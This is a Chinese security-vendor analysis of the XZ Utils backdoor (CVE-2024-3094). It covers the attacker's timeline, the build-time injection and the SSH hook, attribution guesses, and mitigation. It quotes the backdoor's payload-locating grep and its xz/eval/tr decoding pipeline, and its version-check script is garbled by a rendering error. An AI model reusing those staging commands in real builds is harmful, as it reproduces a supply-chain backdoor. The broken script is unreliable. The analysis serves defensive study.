潜伏三年,核弹级危机一触即发,亚信安全深度分析XZ Utils后门事件

2024年3月29日星期五上午8点,有研究人员称xz/liblzma中的后门导致SSH服务器内存泄露,使得SSH服务异常(https://www.openwall.com/lists/oss-
security/2024/03/29/4)。github中“xz”压缩工具主要由Larhzu和Jia
Tan共同负责维护,他们已经合作发布了多个版本。然而,研究人员发现Jia
Tan发布的5.6.0和5.6.1版本存在后门代码,该后门允许攻击者未经授权地使用SSH访问系统。这个漏洞编号为CVE-2024-3094,近期引起了广泛的关注和讨论。接下来将对此次攻击事件进行详细分析。

![](https://img-
blog.csdnimg.cn/img_convert/fe160fa39806bf03b96be7883a0c696e.jpeg)

漏洞概述

XZ Utils是一个高压缩比的数据压缩格式,广泛应用于各种Linux发行版中。在XZ
Utils的5.6.0和5.6.1版本中,被研究人员发现存在恶意后门代码,这个后门代码可以被攻击者利用,通过SSH未经授权地访问系统。

这个恶意后门代码被嵌入在XZ
Utils的两个测试文件中:tests/files/bad-3-corrupt_lzma2.xz和tests/files/good-
large_compressed.lzma。攻击者通过修改这些文件中的代码,实现了一个复杂的后门机制,可以在OpenSSH服务器(SSHD)中注入恶意代码,从而允许攻击者发送任意的SSH载荷,并在身份验证之前执行这些载荷,有效地劫持整个受害机器。

攻击者画像

自2021年起,化名Jia Tan(JiaT75)的攻击者因涉及XZ
Utils等项目的后门事件在GitHub上引起注意,直至2024年3月31日账户被封。通过长期贡献代码,Jia
Tan在开源社区建立信誉,利用该信任植入恶意代码至包括libarchive和oss-
fuzz在内的多个项目,展示出深厚的技术实力,他精通Linux系统、ChaCha20加密算法和IFUNC技术。攻击者的动机可能包括经济、政治或技术展示,极有可能属于有国家背景的,有组织有计划的行动。此次事件预示开源社区需警惕并采取措施,以应对潜在威胁。

漏洞影响范围

这个漏洞主要影响使用XZ Utils
5.6.0和5.6.1版本的系统,包括但不限于那些运行Fedora、Debian、Alpine、Kali、OpenSUSE和Arch
Linux等发行版的系统。

xz后门构建过程

首先,通过执行build-to-host.m4文件,结合恶意代码运行,进而将加密的代码嵌入到“configure”脚本之中。

接着在执行“configure”脚本时,利用已经被混淆的代码进行操作,该过程涉及对“liblzma”链接器和编译器的标志进行调整,目的是为了干扰符号解析过程。

执行MakeFile时,触发了一个事件:“RsApublidecrypt@.al”符号被操纵,将其指向运行时环境中的另一个恶意代码,从而引发了潜在的安全威胁。

时间线

2021年

攻击者首先在2021年创建了一个GitHub账户,并在libarchive项目中提交了一个看似无害但实际可疑的补丁。这个补丁替换了一个安全的函数变体,可能引入了另一个漏洞。

2022年

2月6日,攻击者首次向XZ Utils项目提交了一个表面上合法的补丁,此举是他们获得项目信任的开端。随后,名为Jigar Kumar和Dennis
Ens的新角色出现,开始向项目团队施加压力,要求合并该补丁,并提出增加一名新的项目维护者Jia Tan。在一系列交流和操作之后,Jigar
Kumar神秘消失。

2023年

攻击者敦促Linux发行版尽快将他准备的软件包版本采用到他们的系统中,他找到了一位Fedora作者,并试图说服他将xz
5.6.x包含在基于rpm的发行版中,利用新版本的“xz”解决bug。ID为“krygorin4545”和“misoeater91”等化名的用户赞扬了所谓的错误修复,目的是虚假的宣传账户。

6月27日至28日,攻击者进行了进一步的更改,这些更改为可能的未来攻击奠定了基础。

2024年

2月15日,攻击者在XZ Utils项目的.gitignore文件中添加了一个忽略规则,用于忽略build-to-
host.m4脚本文件。这个脚本文件将在实际发布版本中包含恶意的M4宏,用于在受害者机器上初始化后门的安装。

2月23日,攻击者在XZ
Utils项目的两个测试文件中添加了混淆的二进制后门:tests/files/bad-3-corrupt_lzma2.xz和tests/files/good-
large_compressed.lzma。

2月24日,攻击者发布了带有恶意build-to-host.m4脚本的5.6.0版本,使恶意后门完全可用。

3月9日,攻击者更新了后门的二进制文件,并发布了5.6.1版本。这两个版本都包含了恶意后门代码。

![](https://img-
blog.csdnimg.cn/img_convert/935ff6b6414d0f53998c933f3aced634.jpeg)

代码分析

攻击者通过SSH与目标系统连接,使用特定的RSA密钥建立联系,这个密钥随后被提交给OpenSSH服务器(SSHD)。服务器利用RSA_public_decrypt函数来验证攻击者提供的RSA密钥。在这一过程中,恶意代码被注入到OpenSSH服务器,并对RSA_public_decrypt函数进行钩取。这个恶意钩取的代码负责检查由SSH客户端(即攻击者)完全控制的RSA公共模数("N"值)。然后,它使用一个硬编码的ChaCha20对称流密码作为解密密钥来解密"N"值。解密后的数据通过Ed448椭圆曲线签名算法进行验证,只有攻击者持有的私钥能生成有效的负载,因为后门仅包含用于验证的公钥。

![](https://img-
blog.csdnimg.cn/img_convert/f3c31fb7dd21925beba2e3fd3399b828.jpeg)

hook伪代码如上图所示,如果数据验证成功,恶意载荷会以shell命令的形式被执行;如果数据无效(如格式错误或签名无效),则会恢复到RSA_public_decrypt的原始实现。这允许攻击者在不被发现的情况下持续进行攻击。通过SSH,攻击者能够发送任意有效负载,在认证前就执行,从而劫持目标系统。这一攻击最终创建了一个名为liblzma_la-
crc64-fast.o的后门文件,表明此次攻击使用了远程代码执行(RCE),而不是简单的身份验证绕过。

![](https://img-
blog.csdnimg.cn/img_convert/374d4c07785b56314318fbd885d1b0bb.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/58c36d4a2811b6b59ef83fadf80a7d8b.jpeg)

从上述代码中可以看到攻击者使用grep构建恶意软件名:grep -aErls “#{4}[[:alnum:]]{5}#{4}$”
./,执行结果是:./tests/files/bad-3-corrupt_lzma2.xz

最终恶意指令执行命令为:

xz -dc ./tests/files/good-large_compressed.lzma| eval $i| tail -c +31233| tr “\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113” “\0-\377” | xz -F raw --lzma1 -dc

最终在真正的感染部分目标文件liblzma_la-crc64_fast.o 和liblzma_la-
crc32_fast.o,被链接了恶意的object文件。

值得一提的是恶意软件作者重新构造了函数get_cpuid,预留了一个参数“__builtin_frame_address”以获取函数返回地址。

从版本5.6.1中提取的Liblzma后门字符串(从内置trie中提取)如下所示:

![](https://img-
blog.csdnimg.cn/img_convert/86e3d96fee4b2f123bbcd8e3e65f2d54.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/fccff9b2dc52d4e1ea0b88aca5378b73.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/63f699f8c3b80cfcb906fe7acb7991ff.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/6ab592ee8074f606af5495c94795f7d9.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/a8b264260304cfbd29814ad104068d5f.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/15d305498da3a0a0445a0e23d349ee49.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/03ee2db24f36a3331cbe34bcfc6fe0fc.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/0afb9a64008b9960fbd25d138b2aea97.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/72d6b12ab795e5fdc6d0ae965a29b890.jpeg)

代码中存在“kill
switch”机制将“yolAbejyiejuvnup=Evjtgvsh5okmkAvj”添加到环境变量/etc/environment中可以暂时终止后门,具体表现为他会加速sshd的退出。

恶意文件(liblzma_la-crc64-fast.o{212ffa0b24bb7d749532425a46764433})

![](https://img-
blog.csdnimg.cn/img_convert/29231faea96e861184d3afb049fe6396.jpeg)

攻击者溯源

Jia Tan 历史提交活动范围

![](https://img-
blog.csdnimg.cn/img_convert/4cff119a3c66ff17354cd3c2f6161f5c.jpeg)

Jia Tang近两年github提交记录如下表所示:

![](https://img-
blog.csdnimg.cn/img_convert/8b74f23c0e0be0fb77af0c09b69745c2.jpeg)

larhzu近两年github提交记录如下表所示:

![](https://img-
blog.csdnimg.cn/img_convert/8d27e42768c286d9f977f8270764c0e8.jpeg)

从上述表格可看出代码提交时间分布于UTC+3、UTC+8与UTC+2,UTC+02时区与冬令时(2月和 11月)完美匹配,而UTC+03时区与夏令时(6
月、7 月和10月初)完美匹配。这与东欧发生的夏令时切换完全匹配;我们看到冬季(10 月最后一个周末之后)切换到 +02:00,夏季(3
月最后一个星期日之后)切换到 +03:00,怀疑攻击者位于东欧 (EET),还有以色列 (IST)
等国家,且攻击者有意伪造成中国人进行攻击,但所采用的攻击方法似乎是出自那些将英语作为母语的组织之手。这个时区与Lasse Collin和Jigar
Kumar的工作时间相符合。

攻击者的gmail信息记录如下:

![](https://img-
blog.csdnimg.cn/img_convert/fddab66da834011457948ee3473446ea.jpeg)

处置建议

对于未受影响的系统,如Red Hat Enterprise Linux和Ubuntu等,建议保持警惕,及时更新系统和软件以防范类似漏洞。

同时,在互联网侧,推荐使用亚信安全“外部攻击面管理平台”排查资产操作系统及版本,探测是否有资产开启ssh高危服务,一键开启,排查无忧;
在本地主机上,可使用安全工具检测是否存在恶意后门代码,并及时采取措施进行修复和缓解;使用命令行工具执行以下命令检查版本信息,受影响的用户立即将XZ
Utils降级至更早版本,并重启机器或重启OpenSSH服务器以移除补丁代码。

如果无法进行降级,可以通过“kill switch”机制禁用恶意后门功能,此处提供两种检测方式:

  1. xz --version(不推荐)

  2. for xz_p in $(type -a xz | awk '{print KaTeX parse error: Expected 'EOF', got '}' at position 3: NF}̲' | uniq); do s…xz_p" | grep “xz (XZ Utils)” || echo “No match found for $xz_p”; done

这段脚本作用是搜索系统上所有的“xz”可执行文件,并尝试确认它们的版本信息。(来源:@Kostastsale)

IOC:

![](https://img-
blog.csdnimg.cn/img_convert/db8890403c406150166c4e942e8163d2.jpeg)

![](https://img-
blog.csdnimg.cn/img_convert/00d101d92989af5c0a0c043ce70ffc85.jpeg)

公开yara检测规则:

因篇幅受限,这部分略,详情可以进入官方公众号【亚信安全】本篇推文获取。

亚信安全威胁情报中心

亚信安全威胁情报中心深耕威胁情报领域多年,具备国内一流的威胁情报分析、人工智能及大数据团队,依托公司国际基因与多元化数据来源优势,对全球威胁事件及时跟踪与深度解析。威胁情报中心聚焦实战化、场景化情报,以数据驱动威胁情报运营,使用Ai赋能威胁情报生产、运营全流程,在挖矿治理、网络钓鱼检测、黑客工具检测、勒索治理、勒索泄密点检测等方面处于国内领先地位。威胁情报中心首创威胁情报云端联动小时级响应机制,为客户提供“一点触达、全网免疫”的体验。

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

  • 29
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值